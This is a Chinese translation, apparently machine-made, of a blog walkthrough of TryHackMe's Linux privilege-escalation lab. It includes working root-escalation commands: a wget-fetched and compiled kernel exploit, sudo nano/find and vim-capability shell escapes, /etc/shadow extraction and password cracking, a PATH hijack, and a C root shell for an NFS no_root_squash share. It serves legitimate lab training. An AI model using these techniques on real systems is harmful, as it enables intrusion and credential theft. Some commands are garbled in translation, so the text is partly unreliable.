尝试 Hack Me:Linux PrivEsc 完整文档

2025-06-08

尝试 Hack Me:Linux PrivEsc 完整文档

今天我想写一篇关于两个我觉得挺有挑战性的实验的文章:初级渗透测试员路线上的Linux 权限提升实验和Windows 权限提升实验。我们开始吧!😊

动图

我将跳过以下任务,因为它是只读的:

  • 任务 1:介绍
  • 任务 2:什么是权限提升?
  • 任务 4:自动枚举工具

任务 3:枚举

要阅读本节的说明/常规信息,请前往专门的任务。我不会复制粘贴所有信息,因为这会使文章内容臃肿。说实话,如果你一直在看,复制粘贴完全没必要。

目标系统的主机名是什么?
通过 AttackBox 或 OPENVPN 打开终端,然后通过命令 SSH 连接到目标机器ssh karen@YOUR_MACHINE_IP。记住密码是 Password1。
Linux 特权增强

登录后,我们只需运行hostname命令即可找到目标机器的主机名。瞧,我们的第一个问题得到了解答!
Linux 特权增强
Linux 特权增强

目标系统的 Linux 内核版本是什么?
要查找系统的内核版本,我们只需输入uname -a命令即可。该命令将打印系统信息,提供有关系统所用内核的更多详细信息。
Linux 特权增强
Linux 特权增强

这是什么Linux?
我们可以用cat /etc/issue命令来查找操作系统版本。
Linux 特权增强
Linux 特权增强

系统上安装了哪个版本的 Python 语言?
说明书里没有提到这一点,但这其实很容易理解。我们可以直接运行python --version命令来查看安装了哪个版本。
Linux 特权增强
Linux 特权增强

哪些漏洞似乎会影响目标系统的内核?(输入 CVE 编号)
为此,我们需要在 Exploit-DB 上进行一些谷歌搜索。
Linux 特权增强
Linux 特权增强


任务 5:权限提升内核漏洞

找到并利用合适的内核漏洞,获取目标系统的 root 权限。
关闭之前的机器。现在,让我们来了解一下内核漏洞利用方法的步骤。

1. 识别内核版本。
Linux 特权增强

2. 搜索并找到目标系统内核版本的漏洞利用代码。
我们可以通过谷歌搜索快速找到。下载漏洞利用代码并将其移动到你的/tmp文件夹中。
Linux 特权增强
Linux 特权增强

我们也可以通过searchploit获取它。
Linux 特权增强

flag1.txt 文件的内容是什么?
3. 运行漏洞利用程序。
好的,在本地计算机上打开终端,然后在 Attackbox 中启动计算机。在 Attackbox 中,让我们运行id命令并记下当前的用户权限。
Linux 特权增强
Linux 特权增强

在本地机器上,我们需要启动一个 Python 服务器,以便将下载的漏洞利用代码发送到 Attackbox 中的目标机器。我们可以通过python3 -m http.server 8000命令执行此操作。不要关闭此终端。
Linux 特权增强

打开一个新的标签页/终端,以便获取本地计算机的 IP 地址。我们需要它来连接到目标计算机。使用ifconfig命令并向下滚动。

Linux 特权增强

太棒了,现在我们可以继续将下载并存储在 /tmp 文件中的漏洞发送到目标机器了。首先,打开 Attackbox,在连接到本地机器之前,先 cd 到 /tmp 文件夹。
Linux 特权增强

如果您没有先进入 /tmp,那么在尝试连接时会出错。现在,为了发送漏洞并建立连接,我们可以输入以下命令(将 IP 替换为您的 ifconfig IP)wget http://yourip:8000/37292.c
Linux 特权增强

好的,漏洞利用代码已发送。现在,为了转换它,我们可以输入以下命令gcc 37292.c -o pwned。漏洞利用代码转换完成后,我们就可以通过以下./pwned命令运行它了。
Linux 特权增强

现在,当我们id再次运行命令时,我们可以看到我们的用户权限已更改!现在我们可以轻松访问文件了。
Linux 特权增强

由于我们当前位于 /tmp,因此我们通过 cd 进入 /home cd /home。从 /home 运行ls命令,看看能找到什么。我们有一个名为 matt 的目录。
Linux 特权增强

让我们通过 cd 进入 mattcd /home/matt并看看我们可以通过命令找到什么ls
Linux 特权增强

从那里我们可以看到我们找到了 flag1.txt 文件。让我们通过 读取它cat flag1.txt。我们成功找到了 flag!
Linux 特权增强
Linux 特权增强


任务6:权限提升Sudo

终止之前的机器,然后运行执行此任务所需的机器。打开 Attackbox 直接在浏览器中运行,或者通过本地机器的终端 ssh 到 Karen 的帐户。
Linux 特权增强

*用户“karen”在目标系统上可以使用 sudo 权限运行多少个程序?*
要查看“Karen”可以运行多少个程序,我们需要运行该sudo -l命令。从这里我们可以看到她可以运行 3 个程序/命令,分别是 find、less 和 nano。

Linux 特权增强
Linux 特权增强

flag2.txt 文件的内容是什么?
我们先用 看看当前目录下有什么ls。/home 目录对我们来说最重要,所以我们用 cd 命令进入它。然后,用 ls 命令,我们可以看到有一个名为 ubuntu 的目录。
Linux 特权增强

让我们通过 cd 进入 ubuntu cd /home/ubuntu。运行ls命令后,我们可以看到成功找到了 flag2.txt 文件。
Linux 特权增强

现在,我们可以简单地cat flag2.txt瞧瞧,我们找到了我们的旗帜!
Linux 特权增强
Linux 特权增强

如果您的用户在 nmap 上拥有 sudo 权限,您将如何使用 Nmap 生成 root shell?

Linux 特权增强

Frank 的密码哈希值是多少?

当我们通过 cd / 回到 root 权限,并运行 id 命令时,我们会发现我们没有 root 权限,因此无法读取 Frank 的密码。运行命令cat /etc/shadow,你会发现我们无法访问。
Linux 特权增强

让我们解决这个问题。运行sudo nano并按下 CTRL+R 和 CTRL+X。输入以下命令获取 root 权限:reset; bash 1>&0 2>&0然后按 Enter。
Linux 特权增强

当我们现在运行id命令时,我们可以看到我们拥有root访问权限。
Linux 特权增强

现在我们可以继续运行cat /etc/shadow,你知道吗,我们现在可以找到弗兰克的散列密码!
Linux 特权增强
Linux 特权增强
Linux 特权增强


任务7:权限提升SUID

哪位用户和一位伟大的漫画作家同名?

关闭你之前的机器,然后像之前一样重新连接到 Karen 的 IP。要查找这些用户,我们可以运行以下cat /etc/passwd命令。
Linux 特权增强
Linux 特权增强

哪位用户的名字和一位伟大的漫画作家相同?

开始之前,请在本地计算机的桌面上创建一个 suid 文件夹,其中包含以下文件:passwd.txt 和 shadow.txt。请确保您的 /wordlists 文件夹中包含之前实验中保存的 rockyou.txt 文件。
Linux 特权增强

首先,我们需要找到 passwd.txt 文件的密码哈希值。base64 /etc/passwd | base64 --decode在终端中运行以下命令,并将最后一位复制到 passwd.txt 文件中。

Linux 特权增强
Linux 特权增强

接下来,我们需要找到 shadow.txt 文件的密码哈希值。base64 /etc/shadow | base64 --decode在终端中运行以下命令,并将最后一位复制到 shadow.txt 文件中。

Linux 特权增强
Linux 特权增强

接下来,我们需要取消密码的影子化。进入命令行并输入unshadow passwd.txt shadow.txt > passwords.txt命令(我们以 Karen 的身份登录)。我们的 passwords.txt 目录已创建。
Linux 特权增强

最后我们可以使用 John The Ripper 工具来破解密码。运行以下命令john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
Linux 特权增强

最后,您将看到密码是Password1。
Linux 特权增强

flag3.txt 文件的内容是什么?我们可以使用和之前相同的技巧。在终端(我们以 Karen 身份登录)中
输入命令base64 /home/ubuntu/flag3.txt | base64 --decode
Linux 特权增强
Linux 特权增强


任务8:权限提升能力

终止之前的会话,然后再次以 Karen 身份登录。
有多少个二进制文件设置了功能?
运行该getcap -r / 2>/dev/null命令并计算返回的二进制文件数量。我们统计出六个二进制文件。
Linux 特权增强
Linux 特权增强

还能通过它的功能使用哪些其他二进制文件?
运行该getcap -r /命令并向下滚动到底部。我们可以看到另一个二进制文件正在查看。
Linux 特权增强
Linux 特权增强

flag4.txt 文件的内容是什么?
要查看它,只需在终端中输入以下命令:./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'这将打开一个 shell。
Linux 特权增强

从那里我们需要 cd 回到 /home。完成后,输入cd /home/ubuntu,然后输入ls
Linux 特权增强

我们可以通过cat flag4.txt命令读取flag4.txt文件。
Linux 特权增强
Linux 特权增强


任务 9:权限提升 Cron 作业

您在目标系统上可以看到多少个用户定义的 cron 作业?
关闭您之前的机器,然后登录 Karen 的系统。我将使用 Attackbox 来完成这项任务。让我们运行cat /etc/crontab命令。我们可以看到有四个用户定义的 cron 作业:

* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py
Enter fullscreen mode Exit fullscreen mode

Linux 特权增强
Linux 特权增强

flag5.txt 文件的内容是什么?
(请按照 THM 上的任务说明来查找标志。)
Linux 特权增强

马特的密码是什么?
(请按照 THM 上的任务说明找到标志。)
Linux 特权增强


任务 10:权限提升路径

你拥有哪个奇数文件夹的写权限?
关闭之前的机器,然后登录 Karen 的系统。
如果我们循环查看任务注释,就会发现可以使用find / -writable 2>/dev/null | grep home命令找到可写的文件夹。
Linux 特权增强
Linux 特权增强

利用 $PATH 漏洞读取 flag6.txt 文件的内容。
在你以 Karen 身份登录的终端中运行该cd /home命令,这样我们就能查看可以访问哪些文件。运行后,-ls -a我们可以看到有 matt、murdoch 和 ubuntu。我们的 flag6.txt 文件位于 matt 目录下,但由于我们拥有对 murdoch 的写入权限,所以我们来看看 murdoch 目录下有哪些文件。
Linux 特权增强

一旦我们进入/home/murdoch,我们可以看到它有三个文件:test、thm 和 thm.py。让我们看看每个文件里都有什么。在 cat 每个文件之前,先运行命令bash
Linux 特权增强
Linux 特权增强

要查看正在测试的内容,请运行file test
Linux 特权增强

要查看 thm.py 下的内容,请运行file thm.py,然后cat thm.py
Linux 特权增强

当我们尝试对 thm 执行相同操作时,我们发现没有找到这样的文件。当我们尝试运行 时./test,我们发现它依赖于 thm,这意味着我们需要创建一个 thm 文件,并编写一个小脚本来读取 flag6.txt 文件的内容。
Linux 特权增强

使用创建 thm 文件touch thm
Linux 特权增强

使用 echo 将脚本写入此文件cat /home/matt/flag6.txt" > thm
Linux 特权增强

现在,为了使这个 thm 文件可执行,我们需要使用chmod +x thm命令对其进行转换。
Linux 特权增强

在运行 ./test 之前,我们需要通过以下方式导出路径export PATH=/home/murdoch:$PATH
Linux 特权增强

最后,我们可以运行 ./test 命令了。我们成功利用了 PATH 漏洞!
Linux 特权增强

flag6.txt文件的内容是什么?
我们运行命令后找到了上一题中的flag./test
Linux 特权增强
Linux 特权增强


任务11:权限提升NFS

你能在目标系统上识别出多少个可挂载共享?
关闭之前的机器,然后登录 Karen 的系统。要从攻击机器上枚举可挂载共享,我们需要使用以下showmount -e <YOUR MACHINE IP>命令。

Linux 特权增强

从那里我们可以数出三个可安装的共享。
Linux 特权增强

有多少共享启用了“no_root_squash”选项?
要查看,请运行命令cat /etc/exports。我们可以数出三个 no_root_squash 选项。
Linux 特权增强
Linux 特权增强

在目标系统上获取 root shell
按照任务说明中的步骤操作。步骤完全相同。因此,在终端中(不是以 Karen 身份登录的终端),执行以下操作:

mkdir /tmp/sharedfolder
sudo mount -o rw 10.10.114.12:/home/ubuntu/sharedfolder /tmp/sharedfolder

Linux 特权增强

nano

//Enter into nano and save as nfs.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
   setgid(0);
   setuid(0);
   system("/bin/bash");
   return 0;
}
Enter fullscreen mode Exit fullscreen mode

Linux 特权增强

现在 cd 进入/tmp/sharedfolder目录并将 .c 文件转换为可执行文件。
Linux 特权增强

现在,当你回到 Karen 的系统,进入 /home/ubuntu/sharedfolders 并运行ls -l命令时,你的 nfs 文件应该就在那里了。你现在拥有 root 权限,可以运行了./nfs
Linux 特权增强

flag7.txt 文件的内容是什么?
运行cat /home/matt/flag7.txt命令,Flag 就出来了!
Linux 特权增强


任务 12:顶点挑战

flag1.txt 文件的内容是什么?
让我们登录 Leonard 的系统。
Linux 特权增强

之后,让我们通过whoamiid命令看看我们拥有什么类型的权限。
Linux 特权增强

好的,让我们看看使用 find / -type f -perm -04000 -ls 2>/dev/null命令(我们之前用过这个命令)能找到什么。还记得在 SUID 部分我们使用 base64 解码 /shadow 和 /passwd 数据吗?我们再来一遍。
Linux 特权增强

在您的桌面上,创建一个包含两个文件的 SUID 文件夹:passwd.txt 和 shadow.txt。
Linux 特权增强

在 Leonard 的终端中,运行base64 /etc/shadow | base64 -d命令并将 Missy 的值复制到 shadow.txt 文件中。
Linux 特权增强
Linux 特权增强

然后,运行base64 /etc/passwd | base64 -d命令并将 Missy 的值复制到 passwd.txt 文件中。
Linux 特权增强
Linux 特权增强

现在,在我们的攻击者终端中,我们可以使用 John The Ripper 来破解密码。记住,先 cd /Desktop/SUID,然后运行sudo unshadow passwd.txt shadow.txt > cracked.txt命令来创建cracked.txt文件。
Linux 特权增强

然后运行john命令:john --wordlist=/usr/share/wordlists/rockyou.txt cracked.txt破解密码。我们可以看到Missy的密码是Password1。
Linux 特权增强

现在,回到 Leonard 的终端,让我们以 Missy 的身份登录。运行su missy命令并输入她的密码。
Linux 特权增强

sudo -l 命令将显示 missy 不需要密码即可访问数据。
Linux 特权增强

现在我们可以继续访问 flag1.txt 文件了。首先,我们需要通过sudo find / -name "flag1.txt"命令找到它。
Linux 特权增强

要读取旗帜,只需运行cat /home/missy/Documents/flag1.txt。我们的旗帜显露出来了!
Linux 特权增强
Linux 特权增强

flag2.txt 文件的内容是什么?
让我们看看能否通过该sudo find / -name "flag2.txt"命令找到 flag2.txt 文件。我们发现需要 root 权限才能访问它。
Linux 特权增强

要做到这一点,只需说sudo find . -exec /bin/sh \; -quit
Linux 特权增强

现在当我们运行时cat /home/rootflag/flag2.txt,我们就可以访问该标志。
Linux 特权增强
Linux 特权增强


结论

希望以上内容能帮到你,因为这个实验对我来说确实很有挑战性,但它真的很有趣,完成它的感觉也很棒。总之,我完成了,现在,你也一样!😀

查看我的GitHub了解更多信息。

鏂囩珷鏉ユ簮锛�https://dev.to/christinec_dev/try-hack-me-linux-privesc-complete-write-up-20fg
PREV
你可能想知道的 HTML5 Web API
NEXT
完美约会:Javascript 和 API 项目 AWS 安全 LIVE!